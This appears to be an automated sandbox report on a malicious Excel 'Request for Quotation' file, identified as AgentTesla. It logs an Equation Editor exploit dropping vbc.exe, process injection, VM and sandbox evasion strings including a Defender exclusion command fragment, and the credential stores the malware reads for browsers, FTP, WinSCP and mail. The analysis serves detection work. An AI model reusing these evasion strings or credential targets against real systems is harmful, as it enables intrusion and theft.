Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: dan[1].exe.2.dr, MediaManager/DebuggableAttribute.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: dan[1].exe.2.dr, MediaManager/DebuggableAttribute.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 4.2.vbc.exe.900000.1.unpack, MediaManager/DebuggableAttribute.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 4.2.vbc.exe.900000.1.unpack, MediaManager/DebuggableAttribute.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 4.0.vbc.exe.900000.0.unpack, MediaManager/DebuggableAttribute.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 4.0.vbc.exe.900000.0.unpack, MediaManager/DebuggableAttribute.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 5.2.vbc.exe.400000.1.unpack, A/b2.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 5.2.vbc.exe.400000.1.unpack, A/b2.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 5.0.vbc.exe.900000.0.unpack, MediaManager/DebuggableAttribute.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 5.0.vbc.exe.900000.0.unpack, MediaManager/DebuggableAttribute.cs	Cryptographic APIs: 'CreateDecryptor'

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winXLSX@6/18@1/2

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\Desktop\~$Request for Quotation (RFQ).xlsx

Jump to behavior

Source: C:\Users\Public\vbc.exe

Mutant created: \Sessions\1\BaseNamedObjects\iEPRTNxcoChyZ

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVRD5D5.tmp

Jump to behavior

Source: C:\Users\Public\vbc.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\7582400666d289c016013ad0f6e0e3e6\mscorlib.ni.dll			Jump to behavior
Source: C:\Users\Public\vbc.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\7582400666d289c016013ad0f6e0e3e6\mscorlib.ni.dll			Jump to behavior

Source: C:\Users\Public\vbc.exe	WMI Queries: IWbemServices::CreateInstanceEnum - Win32_Processor
Source: C:\Users\Public\vbc.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\Public\vbc.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\Public\vbc.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: vbc.exe, 00000004.00000002.2140372454.00000000021B6000.00000004.00000001.sdmp	Binary or memory string: Select * from Clientes WHERE id=@id;;
Source: vbc.exe, 00000004.00000002.2140372454.00000000021B6000.00000004.00000001.sdmp	Binary or memory string: Select * from Aluguel Erro ao listar Banco sql-Aluguel.INSERT INTO Aluguel VALUES(@clienteID, @data);
Source: vbc.exe, 00000004.00000002.2140372454.00000000021B6000.00000004.00000001.sdmp	Binary or memory string: Select * from SecurityLogonType WHERE id=@id;
Source: vbc.exe, 00000004.00000002.2140372454.00000000021B6000.00000004.00000001.sdmp	Binary or memory string: Select * from SecurityLogonType WHERE modelo=@modelo;
Source: vbc.exe, 00000004.00000002.2140372454.00000000021B6000.00000004.00000001.sdmp	Binary or memory string: INSERT INTO Itens_Aluguel VALUES(@aluguelID, @aviaoID, @validade);
Source: vbc.exe, 00000004.00000002.2140372454.00000000021B6000.00000004.00000001.sdmp	Binary or memory string: Insert into Clientes values (@nome, @cpf, @rg, @cidade, @endereco, @uf, @telefone);
Source: vbc.exe, 00000004.00000002.2140372454.00000000021B6000.00000004.00000001.sdmp	Binary or memory string: INSERT INTO Aluguel VALUES(@clienteID, @data);
Source: vbc.exe, 00000004.00000002.2140372454.00000000021B6000.00000004.00000001.sdmp	Binary or memory string: INSERT INTO SecurityLogonType VALUES(@modelo, @fabricante, @ano, @cor);
Source: vbc.exe, 00000004.00000002.2140372454.00000000021B6000.00000004.00000001.sdmp	Binary or memory string: Select * from SecurityLogonTypeErro ao listar Banco sql-SecurityLogonType,Select from SecurityLogonType WHERE id=@id;Select * from SecurityLogonType WHERE (modelo LIKE @modelo)

Source: Request for Quotation (RFQ).xlsx	Metadefender: Detection: 28%
Source: Request for Quotation (RFQ).xlsx	ReversingLabs: Detection: 34%

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Source: unknown	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\Public\vbc.exe 'C:\Users\Public\vbc.exe'
Source: C:\Users\Public\vbc.exe	Process created: C:\Users\Public\vbc.exe C:\Users\Public\vbc.exe
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\Public\vbc.exe 'C:\Users\Public\vbc.exe'	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process created: C:\Users\Public\vbc.exe C:\Users\Public\vbc.exe	Jump to behavior

Source: C:\Users\Public\vbc.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{172BDDF8-CEEA-11D1-8B05-00600806D9B6}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\Public\vbc.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Jump to behavior

Source: Request for Quotation (RFQ).xlsx

Static file information: File size 1262080 > 1048576

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source:	Binary string: NativeObjectSecurity.pdb( source: vbc.exe, 00000004.00000002.2140067412.0000000000902000.00000020.00020000.sdmp, vbc.exe, 00000005.00000000.2139065825.0000000000902000.00000020.00020000.sdmp, vbc.exe.2.dr
Source:	Binary string: NativeObjectSecurity.pdb source: vbc.exe, vbc.exe.2.dr

Source: Request for Quotation (RFQ).xlsx

Initial sample: OLE indicators vbamacros = False

Source: Request for Quotation (RFQ).xlsx

Initial sample: OLE indicators encrypted = True

Source: C:\Users\Public\vbc.exe	Code function: 4_2_00908194 push 20060002h; retf	4_2_009081A1
Source: C:\Users\Public\vbc.exe	Code function: 4_2_00461568 push FFFFFF8Bh; retf	4_2_0046156A
Source: C:\Users\Public\vbc.exe	Code function: 4_2_01F18998 push eax; retf 002Fh	4_2_01F18999
Source: C:\Users\Public\vbc.exe	Code function: 4_2_01F18351 push esp; retf 002Fh	4_2_01F18352
Source: C:\Users\Public\vbc.exe	Code function: 4_2_01F14293 push esp; retf 002Fh	4_2_01F1429D
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00908194 push 20060002h; retf	5_2_009081A1
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00231335 pushfd ; iretd	5_2_002313D9
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00231390 pushfd ; iretd	5_2_002313D9

Source: initial sample

Static PE information: section name: .text entropy: 7.66771174726

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\Public\vbc.exe			Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\dan[1].exe			Jump to dropped file

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

File created: C:\Users\Public\vbc.exe

Jump to dropped file

Boot Survival:

Drops PE files to the user root directory

Show sources

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

File created: C:\Users\Public\vbc.exe

Jump to dropped file

Source: C:\Users\Public\vbc.exe

Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: Request for Quotation (RFQ).xlsx

Stream path 'EncryptedPackage' entropy: 7.99983327297 (max. 8.0)

Malware Analysis System Evasion:

Yara detected AntiVM3

Show sources

Source: Yara match	File source: 00000004.00000002.2140372454.00000000021B6000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: vbc.exe PID: 2904, type: MEMORY

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Show sources

Source: C:\Users\Public\vbc.exe

WMI Queries: IWbemServices::CreateInstanceEnum - Win32_BaseBoard

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Show sources

Source: C:\Users\Public\vbc.exe

WMI Queries: IWbemServices::CreateInstanceEnum - Win32_NetworkAdapterConfiguration

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: vbc.exe, 00000004.00000002.2140372454.00000000021B6000.00000004.00000001.sdmp	Binary or memory string: WINE_GET_UNIX_FILE_NAME
Source: vbc.exe, 00000004.00000002.2140372454.00000000021B6000.00000004.00000001.sdmp	Binary or memory string: SBIEDLL.DLL

Source: C:\Users\Public\vbc.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\Public\vbc.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Users\Public\vbc.exe	Window / User API: threadDelayed 9258			Jump to behavior
Source: C:\Users\Public\vbc.exe	Window / User API: threadDelayed 489			Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 2716	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Users\Public\vbc.exe TID: 2836	Thread sleep time: -104613s >= -30000s	Jump to behavior
Source: C:\Users\Public\vbc.exe TID: 2984	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\Public\vbc.exe TID: 2440	Thread sleep time: -300000s >= -30000s	Jump to behavior
Source: C:\Users\Public\vbc.exe TID: 2956	Thread sleep time: -4611686018427385s >= -30000s	Jump to behavior
Source: C:\Users\Public\vbc.exe TID: 2956	Thread sleep time: -150000s >= -30000s	Jump to behavior
Source: C:\Users\Public\vbc.exe TID: 2288	Thread sleep count: 9258 > 30	Jump to behavior
Source: C:\Users\Public\vbc.exe TID: 2288	Thread sleep count: 489 > 30	Jump to behavior
Source: C:\Users\Public\vbc.exe TID: 2956	Thread sleep count: 101 > 30	Jump to behavior

Source: C:\Users\Public\vbc.exe	WMI Queries: IWbemServices::CreateInstanceEnum - Win32_Processor
Source: C:\Users\Public\vbc.exe	WMI Queries: IWbemServices::ExecQuery - SELECT * FROM Win32_Processor

Source: C:\Users\Public\vbc.exe	Thread delayed: delay time: 104613	Jump to behavior
Source: C:\Users\Public\vbc.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\Public\vbc.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\Public\vbc.exe	Thread delayed: delay time: 30000	Jump to behavior

Source: vbc.exe, 00000004.00000002.2140372454.00000000021B6000.00000004.00000001.sdmp	Binary or memory string: vmware
Source: vbc.exe, 00000004.00000002.2140372454.00000000021B6000.00000004.00000001.sdmp	Binary or memory string: C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: vbc.exe, 00000004.00000002.2140372454.00000000021B6000.00000004.00000001.sdmp	Binary or memory string: SOFTWARE\VMware, Inc.\VMware Tools
Source: vbc.exe, 00000004.00000002.2140372454.00000000021B6000.00000004.00000001.sdmp	Binary or memory string: VMware SVGA II!Add-MpPreference -ExclusionPath "
Source: vbc.exe, 00000004.00000002.2140372454.00000000021B6000.00000004.00000001.sdmp	Binary or memory string: VMWARE
Source: vbc.exe, 00000004.00000002.2140372454.00000000021B6000.00000004.00000001.sdmp	Binary or memory string: InstallPath%C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: vbc.exe, 00000004.00000002.2140372454.00000000021B6000.00000004.00000001.sdmp	Binary or memory string: VMWARE"SOFTWARE\VMware, Inc.\VMware ToolsLHARDWARE\DEVICEMAP\Scsi\Scsi Port 1\Scsi Bus 0\Target Id 0\Logical Unit Id 0LHARDWARE\DEVICEMAP\Scsi\Scsi Port 2\Scsi Bus 0\Target Id 0\Logical Unit Id 0'SYSTEM\ControlSet001\Services\Disk\Enum
Source: vbc.exe, 00000004.00000002.2140372454.00000000021B6000.00000004.00000001.sdmp	Binary or memory string: VMware SVGA II
Source: vbc.exe, 00000004.00000002.2140372454.00000000021B6000.00000004.00000001.sdmp	Binary or memory string: vmwareNSYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000

Source: C:\Users\Public\vbc.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\Public\vbc.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\Public\vbc.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

Injects a PE file into a foreign processes

Show sources

Source: C:\Users\Public\vbc.exe

Memory written: C:\Users\Public\vbc.exe base: 400000 value starts with: 4D5A

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\Public\vbc.exe 'C:\Users\Public\vbc.exe'			Jump to behavior
Source: C:\Users\Public\vbc.exe	Process created: C:\Users\Public\vbc.exe C:\Users\Public\vbc.exe			Jump to behavior

Source: vbc.exe, 00000005.00000002.2351141721.0000000000B70000.00000002.00000001.sdmp	Binary or memory string: Program Manager
Source: vbc.exe, 00000005.00000002.2351141721.0000000000B70000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: vbc.exe, 00000005.00000002.2351141721.0000000000B70000.00000002.00000001.sdmp	Binary or memory string: !Progman

Source: C:\Users\Public\vbc.exe	Queries volume information: C:\Users\Public\vbc.exe VolumeInformation	Jump to behavior
Source: C:\Users\Public\vbc.exe	Queries volume information: C:\Users\Public\vbc.exe VolumeInformation	Jump to behavior
Source: C:\Users\Public\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation	Jump to behavior

Source: C:\Users\Public\vbc.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information:

Yara detected AgentTesla

Show sources

Source: Yara match	File source: 00000005.00000002.2350857506.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2140883462.0000000003199000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 5.2.vbc.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.vbc.exe.32e8200.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.vbc.exe.32e8200.4.raw.unpack, type: UNPACKEDPE

Yara detected AgentTesla

Show sources

Source: Yara match	File source: 00000005.00000002.2350857506.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2351385354.0000000002318000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2140883462.0000000003199000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2351315901.0000000002291000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: vbc.exe PID: 2884, type: MEMORY
Source: Yara match	File source: Process Memory Space: vbc.exe PID: 2904, type: MEMORY
Source: Yara match	File source: 5.2.vbc.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.vbc.exe.32e8200.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.vbc.exe.32e8200.4.raw.unpack, type: UNPACKEDPE

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Show sources

Source: C:\Users\Public\vbc.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Show sources

Source: C:\Users\Public\vbc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data			Jump to behavior
Source: C:\Users\Public\vbc.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini			Jump to behavior

Tries to harvest and steal ftp login credentials

Show sources

Source: C:\Users\Public\vbc.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites\Quick Connect\			Jump to behavior
Source: C:\Users\Public\vbc.exe	File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml			Jump to behavior

Tries to steal Mail credentials (via file access)

Show sources

Source: C:\Users\Public\vbc.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\Public\vbc.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\Public\vbc.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Jump to behavior
Source: C:\Users\Public\vbc.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior

Source: Yara match	File source: 00000005.00000002.2351385354.0000000002318000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2351315901.0000000002291000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: vbc.exe PID: 2884, type: MEMORY

Remote Access Functionality:

Yara detected AgentTesla

Show sources

Source: Yara match	File source: 00000005.00000002.2350857506.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2140883462.0000000003199000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 5.2.vbc.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.vbc.exe.32e8200.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.vbc.exe.32e8200.4.raw.unpack, type: UNPACKEDPE

Yara detected AgentTesla

Show sources

Source: Yara match	File source: 00000005.00000002.2350857506.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2351385354.0000000002318000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2140883462.0000000003199000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2351315901.0000000002291000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: vbc.exe PID: 2884, type: MEMORY
Source: Yara match	File source: Process Memory Space: vbc.exe PID: 2904, type: MEMORY
Source: Yara match	File source: 5.2.vbc.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.vbc.exe.32e8200.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.vbc.exe.32e8200.4.raw.unpack, type: UNPACKEDPE

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation211	Path Interception	Process Injection112	Disable or Modify Tools1	OS Credential Dumping2	File and Directory Discovery1	Remote Services	Archive Collected Data11	Exfiltration Over Other Network Medium	Ingress Tool Transfer12	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Exploitation for Client Execution13	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Deobfuscate/Decode Files or Information1	Credentials in Registry1	System Information Discovery114	Remote Desktop Protocol	Data from Local System2	Exfiltration Over Bluetooth	Encrypted Channel1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information21	Security Account Manager	Query Registry1	SMB/Windows Admin Shares	Email Collection1	Automated Exfiltration	Non-Standard Port1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
